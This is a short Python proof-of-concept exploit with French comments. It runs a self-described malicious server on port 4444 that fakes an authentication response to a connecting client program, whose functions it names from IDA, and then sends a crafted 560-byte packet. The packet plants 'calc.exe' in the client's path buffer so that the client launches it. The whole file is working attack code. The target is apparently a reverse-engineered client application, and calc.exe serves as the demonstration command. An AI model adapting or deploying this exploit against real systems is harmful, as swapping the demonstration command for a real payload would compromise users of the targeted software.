import socket
import time
# Configuration
HOST = '127.0.0.1'
PORT = 4444
def exploit_stable():
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
print(f"[*] [START] Serveur malveillant actif sur le port {PORT}...")
conn, addr = s.accept()
with conn:
# 1. Identification (Paquet 7 - 80 octets)
conn.recv(80)
# 2. Validation Auth (0Ah) - Indispensable pour sub_44E910
conn.sendall(b'\x0A' + b'\x00' * 7)
print("[+] Etape 1 : Authentification validée (0Ah)")
time.sleep(0.1)
# 3. Synchro (Paquets 15 et 19)
conn.sendall(b'\x00' * 4)
conn.sendall(b'\x00' * 8)
time.sleep(0.1)
# 4. LE PAYLOAD (560 octets) découpé selon IDA
# Premier buffer (sub_44EAE0) -> 260 octets
buffer_1 = b'\x00' * 260
# Deuxième buffer (pszPath) -> 260 octets
# On y injecte la commande calc.exe en Unicode (utf-16le)
command = "calc.exe".encode('utf-16le')
buffer_2 = command + b'\x00' * (260 - len(command))
# Reste du paquet pour atteindre les 560 octets de Wireshark
padding = b'\x00' * 40
payload = buffer_1 + buffer_2 + padding
conn.sendall(payload)
print("[+] Etape 2 : Payload de 560 octets envoyé proprement.")
time.sleep(1)
if __name__ == "__main__":
exploit_stable()